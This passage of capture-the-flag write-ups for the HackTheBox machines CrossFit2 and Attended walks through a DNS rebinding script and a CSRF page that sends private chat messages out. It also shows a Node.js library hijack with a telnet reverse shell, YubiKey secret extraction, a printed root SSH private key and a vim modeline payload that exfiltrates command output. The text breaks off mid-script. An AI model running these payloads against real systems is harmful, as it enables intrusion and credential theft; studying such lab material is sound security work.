  Reset link sent, please check your email.
  [..omitted..]
```

The password reset was successfully done using the fake domain and a bash script was then created that will handle the race condition when changing the DNS proxy for this exploit:

```bash
#!/bin/bash

echo "[+] DNS Rebinding";
echo "[-] forwarding fake-employees.crossfit.htb: $(unbound-control -c $2 -s 10.10.10.232@8953 forward_add +i fake-employees.crossfit.htb $1@53)";
#echo "[-] forwarding jebidiah.crossfit.htb: $(unbound-control -c $2 -s 10.10.10.232@8953 forward_add jebidiah.crossfit.htb $1@53)";

reset_password() {
    sleep 4;
    echo "[+] Sending password reset request";
    res=$(curl -s --resolve fake-employees.crossfit.htb:80:10.10.10.232 -d 'email=david.palmer@crossfit.htb' http://fake-employees.crossfit.htb/password-reset.php | grep "class..close");
    message="[-] $(echo $res | sed -E 's/^.*>(.*)<b.*$/\1/gp')";
    echo $message;
}
(reset_password &)

echo "[+] Running DNS Proxy for localhost";
i=0
dnschef --fakedomains fake-employees.crossfit.htb --fakeip 127.0.0.1 -i $1 2>&1 | while read line; do
    if [[ $line == *"Cooking"* ]]; then
        echo "[-] $line";
    fi;
    if [[ $line == *"cooking"* ]]; then
        (( i++ ));
        echo "[$i] $line";
    fi;
    if [[ "$i" -eq 1 ]]; then
        sleep 2;
        kill -9 $(ps -auwwx | grep -E "^root.*dnschef" | tr -d '\n' | awk '{print $2}');
    fi;
done;

echo "[+] Running DNS Proxy for $1"
dnschef --fakedomains fake-employees.crossfit.htb --fakeip $1 -i $1 2>&1 | while read line; do
    if [[ $line == *"Cooking"* ]]; then
        echo "[-] $line";
    fi;
    if [[ $line == *"cooking"* ]]; then
        (( i++ ));
        echo "[$i] $line";
    fi;
done;
```

Before running this script, a **`netcat`** listener running on port 80 was started on the local machine:

```bash
$ sudo nc -lvp 80
```

Finally, running the bash script with the following arguments:

```bash
$ sudo ./dns_proxy.sh 10.10.14.28 new_unbound.conf

  [-] forwarding fake-employees.crossfit.htb: ok
  [+] Running DNS Proxy for localhost
  [-] (10:45:47) [*] Cooking A replies to point to 127.0.0.1 matching: fake-employees.crossfit.htb
  [+] Sending password reset request
  [1] (10:45:52) [*] 10.10.10.232: cooking the response of type 'A' for fake-employees.crossfit.htb to 127.0.0.1
  [-] Reset link sent, please check your email. Reset link sent, please check your email.
  [2] (10:45:52) [*] 10.10.10.232: cooking the response of type 'A' for fake-employees.crossfit.htb to 127.0.0.1
  [+] Running DNS Proxy for 10.10.14.28
  [-] (10:45:54) [*] Cooking A replies to point to 10.10.14.28 matching: fake-employees.crossfit.htb
  [-] (10:45:54) [*] Cooking A replies to point to 10.10.14.28 matching: crossfit-club.htb
  [1] (10:47:50) [*] 10.10.10.232: cooking the response of type 'A' for fake-employees.crossfit.htb to 10.10.14.28
  [2] (10:47:50) [*] 10.10.10.232: cooking the response of type 'A' for fake-employees.crossfit.htb to 10.10.14.28
```

The machine then made a request to the web server running on the attacker machine. The machine is looking for **/password-reset.php** from the local server based on the data intercepted via netcat:

```http
GET /password-reset.php?token=45c7db497eca1bde4af563a37800a2fce311494bfb4f998701f3e806881841a2e4ce19a6033857384dbcde3fc9cd286b03517fe99d749b5d79825150a734a9f9 HTTP/1.1
Host: fake-employees.crossfit.htb
User-Agent: Mozilla/5.0 (X11; OpenBSD amd64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://crossfit-club.htb/
Upgrade-Insecure-Requests: 1
```

There are a few interesting things here from the intercepted HTTP request. First, a valid token has been leaked. However, when you attempt to use it to reset the password of **<david.palmer@crossfit.htb>**, you get the following response -- “**We are sorry, but password reset has been temporarily disabled.**”:

![](https://lh5.googleusercontent.com/Nz5SMizmnBVCPnRGr9NiwruzEihhGXvpW4yy_FxdQYPA0QaPwsd9NEW1i8YFrBPVSPbM0iTdswKLlysv3ddx0YPK61NNBbIQeOrT7_PDT4vLcibZ6fB-TpXbt8_sjRAe3Ei9lyv1)

Another thing is that the referrer of the HTTP request came from <http://crossfit-club.htb>. Some user that is currently logged in to the service is clicking on the password reset links. This might be an opening for a CSRF (Cross-site Request Forgery) Attack.

### 3.6 CSRF (password-reset.php)

&#x20;Looking at the page source of <http://crossfit-club.htb>, there are a bunch of javascript files embedded:

```bash
$ curl --silent http://crossfit-club.htb/login | tidy 2>/dev/null

  [..omitted..]
  <script src="/js/chunk-vendors~a2e3b7a8.add5cb47.js"></script>
  <script src="/js/chunk-vendors~ae3da056.9d253641.js"></script>
  <script src="/js/chunk-vendors~2a42e354.b6526da4.js"></script>
  <script src="/js/chunk-vendors~7274e1de.6b9d4dce.js"></script>
  <script src="/js/chunk-vendors~7d359b94.c5efd8b4.js"></script>
  <script src="/js/chunk-vendors~69ddfae0.eec560ca.js"></script>
  <script src="/js/chunk-vendors~f9ca8911.8262afb1.js"></script>
  <script src="/js/chunk-vendors~1c3a2c3f.e0a80b78.js"></script>
  <script src="/js/chunk-vendors~cfbf0a2e.c57c68ae.js"></script>
  <script src="/js/chunk-vendors~fdc6512a.317a5502.js"></script>
  <script src="/js/chunk-vendors~6ff199a4.cd7a889d.js"></script>
  <script src="/js/chunk-vendors~b06fff24.dad67692.js"></script>
  <script src="/js/chunk-vendors~456318af.4cb6d30a.js"></script>
  <script src="/js/chunk-vendors~b1f96ece.03d078ca.js"></script>
  <script src="/js/chunk-vendors~d2305125.72dc1ecf.js"></script>
  <script src="/js/chunk-vendors~4a7e9e0b.33fdc63f.js"></script>
  <script src="/js/chunk-vendors~03631906.67e21e66.js"></script>
  <script src="/js/chunk-vendors~b70f2fe9.15b78819.js"></script>
  <script src="/js/app~748942c6.ead68abe.js"></script>
  [..omitted..]
```

Reviewing **/js/app\~748942c6.ead68abe.js**, it is apparent that the application was written using VueJS and the interesting thing here are the functions for the chat feature of the service:

```javascript
[..omitted..]
components: {
    ChatWindow: ye.a
},
created() {
    let e = this;
    xe = Ce.a.connect("http://crossfit-club.htb", {
        transports: ["polling"]
    }), window.addEventListener("beforeunload", (function (t) {
        xe.emit("remove_user", {
            uid: e.currentUserId
        })
    })), xe.on("disconnect", e => {
        this.$router.replace("/login")
    }), xe.emit("user_join", {
        username: localStorage.getItem("user")
    }), xe.on("participants", e => {
        e && e.length && (this.rooms[0].users = e, this.renderUsers())
    }), xe.on("new_user", e => {
        e.username === localStorage.getItem("user") && (this.currentUserId = e._id, console.log(this.currentUserId))
    }), xe.on("recv_global", e => {
        this.addMessage(e)
    }), xe.on("private_recv", e => {
        this.addMessage(e)
    })
},
[..omitted..]
```

The **`xe`** object seems to be derived from **socket.io** given that there are **`emit()`** and **`connect()`** function calls. To add, **socket.io** is often integrated in **VueJS** applications when handling messaging features. This could be verified by checking the default path of socket.io:

```bash
$ curl -I -s http://crossfit-club.htb/socket.io/socket.io.js

  HTTP/1.1 200 OK
  Cache-Control: public, max-age=0
  Connection: keep-alive
  Connection: close
  Connection: close
  Content-Type: application/javascript
  Date: Sun, 25 Apr 2021 15:27:48 GMT
  ETag: "2.3.0"
```

The application indeed uses **socket.io**. Since the server now looks for **/password-reset.php** from the local web server, I can create one with a CSRF payload that will let me join a chat room and intercept the messages sent by other uses when triggered:

```markup
<html>
    <script src="http://crossfit-club.htb/socket.io/socket.io.js"></script>
    <script>
         var socket = io.connect("http://crossfit-club.htb");
         socket.emit("user_join", { username : "administrator" });
         socket.on("private_recv", (data) => {
            var xhr = new XMLHttpRequest();
            xhr.open("GET", "http://fake-employees.crossfit.htb/?x=" + JSON.stringify(data));
            xhr.send();
        });
    </script>
</html>
```

To use this, start a PHP web server running on port 80 where the created **password-reset.php** file is:

```bash
$ sudo php -S 0.0.0.0:80
```

Then run the DNS rebind exploit script again:

```bash
$ sudo ./dns_proxy.sh 10.10.14.28 new_unbound.conf
```

Looking back at the started PHP web server, messages inside the chat room are being intercepted:

```
[Sun Apr 25 11:42:35 2021] 10.10.10.232:13373 [200]: GET /password-reset.php?token=95288bcf0bd115fff72952c3b94c12e03e7fac0c03c5bd8b8421394b8c52718c6b51ab1bbab22b6dbd0dc2b096e03e454d0eb1cbe4f35da1d2bc58889e960042
[..omitted..]
[Sun Apr 25 11:42:36 2021] 10.10.10.232:16369 [404]: GET /favicon.ico - No such file or directory
[..omitted..]
[Sun Apr 25 11:43:04 2021] 10.10.10.232:26839 [404]: GET /?x={%22sender_id%22:15,%22content%22:%22Someone%20built%20a%20working%2016%20bit%20computer%20using%20nothing%20but%20the%20basic%20Minecraft%20building%20blocks.%20I%20wonder%20what%20kind%20warranty%20that%20one%20has?!%22,%22roomId%22:15,%22_id%22:759} - No such file or directory
[..omitted..]
[Sun Apr 25 11:43:44 2021] 10.10.10.232:38619 [404]: GET /?x={%22sender_id%22:2,%22content%22:%22Hello%20David,%20I%27ve%20added%20a%20user%20account%20for%20you%20with%20the%20password%20`NWBFcSe3ws4VDhTB`.%22,%22roomId%22:2,%22_id%22:760} - No such file or directory
[..omitted..]
[Sun Apr 25 11:43:55 2021] 10.10.10.232:31873 [404]: GET /?x={%22sender_id%22:15,%22content%22:%22I%20wonder%20if%20they%20still%20make%20computers%20that%20ran%20on%20water,%20not%20sure%20is%20the%20best%20idea%20to%20mix%20water%20with%20tech%22,%22roomId%22:15,%22_id%22:762} - No such file or directory
[..omitted..]
```

One particular message contains credentials for the user, **`david`** (password: **`NWBFcSe3ws4VDhTB`**):

```javascript
{
    "Sender_id":2,
    "content":"Hello David, I've added a user account for you with the password `NWBFcSe3ws4VDhTB`.",
    "roomId":2,
    "_id":760
}
```

## PART 4 : SHELL AS david

### 4.1 LOGGING IN AS david

Using the credentials found for the user, **`david`**, to login via SSH:

```bash
$ sshpass -p NWBFcSe3ws4VDhTB ssh -l david 10.10.10.232

crossfit2:david {1} id

  uid=1004(david) gid=1004(david) groups=1004(david), 1003(sysadmins)

crossfit2:david {2} ls -l

  total 4
  -r--------  1 david  david  33 Feb  2 15:34 user.txt
```

### 4.2 GROUP ENUMERATION

The current user, **david**, is a member of the **sysadmins** group as well as the user, **john**, which means that the contents of **`/opt/sysadmin`** are shared and writable by both users:

```bash
crossfit2:david {3} cat /etc/group | grep sysadmins

  sysadmins:*:1003:david,john

crossfit2:david {4} sh

crossfit2$ find / -group sysadmins -ls 2>/dev/null

  1244170    4 drwxrwxr-x    3 root     sysadmins      512 Feb  3 04:45 /opt/sysadmin
```

Checking for SUID binaries, there is one executable that can’t be run globally, **`/usr/local/bin/log`**, it belongs to the root user and the **staff** group wherein the user, **john**, is a member of:

```bash
crossfit2$ find / -user root -perm -4000 -type f -ls 2>/dev/null

  1425624   52 -r-sr-xr-x    3 root     bin         26552 Oct  5  2020 /usr/bin/chfn
  1425624   52 -r-sr-xr-x    3 root     bin         26552 Oct  5  2020 /usr/bin/chpass
  1425624   52 -r-sr-xr-x    3 root     bin         26552 Oct  5  2020 /usr/bin/chsh
  1425650   56 -r-sr-xr-x    1 root     bin         27464 Oct  5  2020 /usr/bin/doas
  1425715   60 -r-sr-sr-x    1 root     daemon      29936 Oct  5  2020 /usr/bin/lpr
  1425716   52 -r-sr-sr-x    1 root     daemon      24880 Oct  5  2020 /usr/bin/lprm
  1425743   44 -r-sr-xr-x    1 root     bin         20936 Oct  5  2020 /usr/bin/passwd
  1425809   36 -r-sr-xr-x    1 root     bin         17216 Oct  5  2020 /usr/bin/su
  1478072   20 -r-sr-xr-x    1 root     bin          8880 Oct  5  2020 /usr/libexec/lockspool
  1478095  960 -r-sr-xr-x    1 root     bin        466608 Oct  5  2020 /usr/libexec/ssh-keysign
  1481580   20 -rwsr-s---    1 root     staff        9024 Jan  5 13:04 /usr/local/bin/log
  1503426   48 -r-sr-sr-x    2 root     authpf      23000 Oct  5  2020 /usr/sbin/authpf
  1503426   48 -r-sr-sr-x    2 root     authpf      23000 Oct  5  2020 /usr/sbin/authpf-noip
  1503506  288 -r-sr-x---    1 root     network    146208 Oct  5  2020 /usr/sbin/pppd
  1503559   64 -r-sr-xr-x    2 root     bin         32712 Oct  5  2020 /usr/sbin/traceroute
  1503559   64 -r-sr-xr-x    2 root     bin         32712 Oct  5  2020 /usr/sbin/traceroute6
  362927   736 -r-sr-xr-x    2 root     bin        356768 Oct  5  2020 /sbin/ping
  362927   736 -r-sr-xr-x    2 root     bin        356768 Oct  5  2020 /sbin/ping6
  362934   576 -r-sr-x---    1 root     operator   275928 Oct  5  2020 /sbin/shutdown

crossfit2$ cat /etc/group | grep staff

  staff:*:20:root,john
```

It seems that pivoting to the user john is needed in order to escalate privileges.

## PART 5 : PIVOT (david -> john)

### 5.1 REVIEWING statbot.js

Examining the contents of **`/opt/sysadmin`**, there is a js file called **`statbot.js`**:

```bash
crossfit2$ find /opt/sysadmin -ls 2>/dev/null

  1244170    4 drwxrwxr-x    3 root     sysadmins     512 Feb  3 04:45 /opt/sysadmin
  1244174    4 drwxr-xr-x    3 root     wheel         512 Jan 13 14:34 /opt/sysadmin/server
  1244176    4 drwxrwxr-x    2 root     wheel         512 Jan 13 15:08 /opt/sysadmin/server/statbot
  1244161    4 -rw-r--r--    1 root     wheel         740 Jan 13 15:08 /opt/sysadmin/server/statbot/statbot.js
```

The contents of which seems to be a logger that checks whether the websocket is up or down :

```javascript
const WebSocket = require('ws');
const fs = require('fs');
const logger = require('log-to-file');
const ws = new WebSocket("ws://gym.crossfit.htb/ws/");
function log(status, connect) {
  var message;
  if(status) {
    message = `Bot is alive`;
  }
  else {
    if(connect) {
      message = `Bot is down (failed to connect)`;
    }
    else {
      message = `Bot is down (failed to receive)`;
    }
  }
  logger(message, '/tmp/chatbot.log');
}
ws.on('error', function err() {
  ws.close();
  log(false, true);
})
ws.on('message', function message(data) {
  data = JSON.parse(data);
  try {
    if(data.status === "200") {
      ws.close()
      log(true, false);
    }
  }
  catch(err) {
      ws.close()
      log(false, false);
  }
});
```

### 5.2 NODEJS LIBRARY HIJACK

Given that this is in the **`/opt/sysadmin`** directory and the current user, **david**, has write permissions, maybe one of the required libraries by the javascript application could be hijacked.&#x20;

Another thing to note, based on the generated file by **`statbot.js`**, the script seems to run every minute:

```bash
crossfit2$ cat /tmp/chatbot.log | tail -n 3

  2021.04.25, 16:16:01.0311 UTC -> Bot is alive
  2021.04.25, 16:17:01.0319 UTC -> Bot is alive
  2021.04.25, 16:18:01.0322 UTC -> Bot is alive
```

The first thing to do is to create an **app.js** file which contains a reverse shell that will replace the one on the required library such that the code will execute when **statbot.js** triggers:

```javascript
const { exec } = require("child_process");
child = exec("(TF=$(mktemp -u); mkfifo $TF && telnet 10.10.14.2 6969 0<$TF | /bin/sh 1>$TF) &",
    function (error, stdout, stderr) {
        console.log('STDOUT: ' + stdout);
        console.log('STDERR: ' + stderr);
    }
);
```

Starting a listener on port 6969 using **`netcat`**:

```bash
$ nc -lvp 6969
```

Now setting everything up within the machine:

```bash
crossfit2$ find / -name log-to-file 2>/dev/null

  /usr/local/lib/node_modules/log-to-file

crossfit2$ mkdir /opt/sysadmin/node_modules

crossfit2$ cp -r /usr/local/lib/node_modules/log-to-file /opt/sysadmin/node_modules

crossfit2$ curl -s --output /opt/sysadmin/node_modules/log-to-file/app.js http://10.10.14.28/app.js
```

Going back to the **netcat** listener once **statbot.js** triggers:

```bash
connect to [10.10.14.28] from employees.crossfit.htb [10.10.10.232] 17696
id

  uid=1005(john) gid=1005(john) groups=1005(john), 20(staff), 1003(sysadmins)
```

## PART 6 : PRIVILEGE ESCALATION

### 6.1 YUBIKEY ENUMERATION

The executable, **`/usr/local/bin/log`**, should now be executable via the user, **john**:

```bash
$ /usr/local/bin/log

  * LogReader v0.1

  [*] Usage: /usr/local/bin/log <log file to read>
```

It can’t read from the root directory but it can read files in from **`/var`**. Within **`/var/db`**, there is a **yubikey** directory which contains the config files for generating an OTP (One-Time Password).&#x20;

How is this relevant? Upon checking the file, **`/etc/login.conf`**, authentication via SSH could be done using **yubikey**:

```bash
$ cat /etc/login.conf | grep yubikey

           :auth-ssh=yubikey:\
```

Using **`/usr/local/bin/log`** to read the yubikey configuration files:

```bash
$ /usr/local/bin/log /var/db/yubikey/root.ctr

  [..omitted..]

  985089

$ /usr/local/bin/log /var/db/yubikey/root.key

  [..omitted..]

  6bf9a26475388ce998988b67eaa2ea87

$ /usr/local/bin/log /var/db/yubikey/root.uid

  [..omitted..]

  a4ce1128bde4
```

Now to use the exfiltrated values to generate an OTP back in the local machine:

```bash
$ wget https://developers.yubico.com/yubico-c/Releases/libyubikey-1.13.tar.gz
$ gzip -d libyubikey-1.13.tar.gz
$ tar xvf libyubikey-1.13.tar
$ cd libyubikey-1.13
$ ./configure
$ make check
$ sudo make install
$ ./ykgenerate 6bf9a26475388ce998988b67eaa2ea87 a4ce1128bde4 $(printf "%x" 985089 | cut -c1-4) c0a8 00 10

  bdbivrkdufttjgfnvucnbfjbclbdjggv
```

Attempting to login via SSH as root generates an error message that authentication requires a public key:

```bash
$ ssh -l root 10.10.10.232

  root@10.10.10.232: Permission denied (publickey).
```

### 6.2 OpenBSD changelist

Since reading from inside the **`/root`** directory is prohibited using **`/usr/local/bin/log`**, I eventually came across the [documentation](https://man.openbsd.org/changelist.5%20https://man.openbsd.org/changelist.5) of **`changelist`** for OpenBSD:

{% hint style="info" %}
For example, the system shell database, `/etc/shells`, is held as `/var/backups/etc_shells.current`. When this file is modified, it is renamed to `/var/backups/etc_shells.backup` and the new version becomes `/var/backups/etc_shells.current`. Thereafter, these files are rotated.
{% endhint %}

So if the root SSH private key is backed up from **`/root/.ssh/idrsa`***,* based on the **changelist** documentation, it should be in **`/var/backups/root.ssh_id_rsa.current`**. Verifying this:

```bash
$ /usr/local/bin/log /var/backups/root_.ssh_id_rsa.current

  [..omitted..]

  -----BEGIN OPENSSH PRIVATE KEY-----
  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
  -----END OPENSSH PRIVATE KEY-----
```

### 6.3 LOGGING IN AS root

The RSA private key indeed exists in **`/var/backups`**. Now using this private key to login via SSH and using a generated token from **yubikey** as a password:

```bash
$ ssh -i root.id_rsa -l root 10.10.10.232

  root@10.10.10.232's password: kfevvdkigjneetugkbfuihvedhnjfnej

crossfit2# id

  uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)

crossfit2# ls -l root.txt

 -r--------  1 root  wheel  33 Feb  2 15:35 root.txt
```

The box has now been rooted.


# HTB Attended

10.10.10.221 | 50 pts

## PART 1 : INITIAL RECON

### 1.1 NMAP SCAN

```bash
$ nmap --min-rate 3000 -oN nmap-tcp.initial -p- -Pn -T4 -v 10.10.10.221

  PORT   STATE SERVICE
  22/tcp open  ssh
  25/tcp open  smtp

$ nmap -oN nmap-tcp -p 22,25 -Pn -sC -sV -v 10.10.10.221

  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 8.0 (protocol 2.0)
  | ssh-hostkey:
  |   3072 4f:08:48:10:a2:89:3b:bd:4a:c6:81:03:cb:20:04:f5 (RSA)
  |   256 1a:41:82:21:9f:07:9d:cd:61:97:e7:fe:96:3a:8f:b0 (ECDSA)
  |_  256 e0:6e:3d:52:ca:5a:7b:4a:11:cb:94:ef:af:49:07:aa (ED25519)
  25/tcp open  smtp
  | fingerprint-strings:
  |   GenericLines, GetRequest:
  |     220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
  |     5.5.1 Invalid command: Pipelining not supported
  |   Hello:
  |     220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
  |     5.5.1 Invalid command: EHLO requires domain name
  |   Help:
  |     220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
  |     214- This is OpenSMTPD
  |     214- To report bugs in the implementation, please contact bugs@openbsd.org
  |     214- with full details
  |     2.0.0: End of HELP info
  |   NULL:
  |_    220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
  | smtp-commands: proudly setup by guly for attended.htb Hello nmap.scanme.org [10.10.14.28], pleased to meet you, 8BITMIME, ENHANCEDSTATUSCODES, SIZE 36700160, DSN, HELP,
  |_ This is OpenSMTPD To report bugs in the implementation, please contact bugs@openbsd.org with full details 2.0.0: End of HELP info
```

## PART  2 : PORT ENUMERATION

### 2.1 TCP PORT 22 : OpenSSH

Failing to login three times lets us see what authentication methods are accepted when attempting to SSH into the box:

```bash
$ ssh 10.10.10.221

  kali@10.10.10.221's password:
  Permission denied, please try again.
  kali@10.10.10.221's password:
  Permission denied, please try again.
  kali@10.10.10.221's password:
  kali@10.10.10.221: Permission denied (publickey,password,keyboard-interactive).
```

It seems like nothing unusual is needed to authenticate.

### 2.2 TCP PORT 25 : SMTP

&#x20;Looking at the banner when trying to access the OpenSMTPD service via **`telnet`**, a user (guly) and domain (attended.htb) are seen. And, when you try to verify if it is an existing email address, the server responds with **`250 Recipient Ok`**:

```bash
$ telnet 10.10.10.221 25

  220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
  HELO jebidiah
  250 proudly setup by guly for attended.htb Hello jebidiah [10.10.14.28], pleased to meet you
  MAIL FROM:<jebidiah>
  553 5.1.0: Sender address syntax error
  MAIL FROM:<test@jebidiah.htb>
  250 2.0.0: Ok
  RCPT TO:<guly@attended.htb>
  250 2.1.5 Destination address valid: Recipient ok
```

Now starting a local SMTP server to check if guly replies to emails:

```bash
$ sudo python -m smtpd -c DebuggingServer -n 10.10.14.8:25
```

Now to begin sending an email:

```bash
$ swaks --to "guly@attended.htb" --from "jebidiah@10.10.14.8" --body "something" --server 10.10.10.221
```

We get the following reply saying that guly is currently working on an inssue with someone named, freshness and will only entertain emails coming from him:

```
hello, thanks for writing.
i'm currently quite busy working on an issue with freshness and dodging any email from everyone but him. i'll get back in touch as soon as possible.


---
guly

OpenBSD user since 1995
Vim power user

/"\
\ /  ASCII Ribbon Campaign
 X   against HTML e-mail
/ \  against proprietary e-mail attachments
```

Trying to impersonate freshness using **`swaks`**:

```bash
$ swaks --to "guly@attended.htb" --from "freshness@10.10.14.8" --body "something" --server 10.10.10.221
```

Now, the response says that now, guly needs to receive an attachment. And also, python2 is installed in the gateway which only allows RFC compliant connections (e.g. SMTP, ICMP, HTTP, etc.):

```
hi mate, could you please double check your attachment? looks like you forgot to actually attach anything :)

p.s.: i also installed a basic py2 env on gw so you can PoC quickly my new outbound traffic restrictions. i think it should stop any non RFC compliant connection.


---
guly

OpenBSD user since 1995
Vim power user

/"\
\ /  ASCII Ribbon Campaign
 X   against HTML e-mail
/ \  against proprietary e-mail attachments
```

Trying to create an attachment then sending it to guly as freshness:

```bash
$ echo test > test.txt

$ swaks --to "guly@attended.htb" --from "freshness@10.10.14.8" --body "something" --attach test.txt --server 10.10.10.221
```

&#x20;I get notified that that attachment I sent as going to be opened in vim and that freshness' configuration file should be in **`/home/shared/`**:

```
thanks dude, i'm currently out of the office but will SSH into the box immediately and open your attachment with vim to verify its syntax.
if everything is fine, you will find your config file within a few minutes in the /home/shared folder.
test it ASAP and let me know if you still face that weird issue.


---
guly

OpenBSD user since 1995
Vim power user

/"\
\ /  ASCII Ribbon Campaign
 X   against HTML e-mail
/ \  against proprietary e-mail attachments
```

The following are everything we’ve gotten from the email exchange above:

* Only emails from freshness will be entertained.
* Only RPC compliant protocols for outbound traffic will be allowed which means simple socket connections (for reverse shells) will not work.
* &#x20;Python2 could be used and the sent attachment will be opened using **`vim`**.
* &#x20;A config file should be in **`/home/shared/`**.

## PART 3 : EXPLOITATION

### 3.1 VIM MODELINES

While searching for code execution exploits in vim, I came across [CVE-2016-1248](https://securitynews.sonicwall.com/xmlpost/vim-modelines-remote-command-execution-dec-23-2016/) which is Arbitrary Command Execution using vim modelines. However, it was discovered around 2016 and a newer exploit ([CVE-2019-12735](https://medium.com/@knownsec404team/vim-neovim-arbitrary-code-execution-via-modelines-cve-2002-1377-cve-2016-1248-cve-2019-12735-c769a97dfccf)) was found on 2019.

What happens when modelines is enabled in vim is that when the file contains the following line:

```bash
:!<command> ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
```

The command will execute before proceeding to the actual file contents.

### 3.2 PAYLOAD CREATION

There are a few challenges to overcome since only RPC compliant protocols are allowed for outbound connections so first, I created an automated vim modeline payload generator using bash:

```bash
#!/bin/bash

echo "[x] CREATING PAYLOAD";
cmd=$1;
payload=":!python2 -c 's=import(\"subprocess\").Popen(\"$cmd\", shell=True, stdout=-1).communicate()[0].strip(); [import(\"requests\").get(\"http://10.10.14.8/\", params={len(s):\"\".join([format(ord(x), \"02x\") for x in s[3000*i:3000*(i+1)]])}) for i in range(0,int(import(\"math\").floor(float(len(s))/3000))+1)]' ||\" vi:fen:fdm=expr:fde=assert_fails(\"source\!\ \%\"):fdl=0:fdt=\"";

echo $payload > cmd.txt
echo $payload;

echo "[x] SENDING PAYLOAD AS ATTACHMENT"

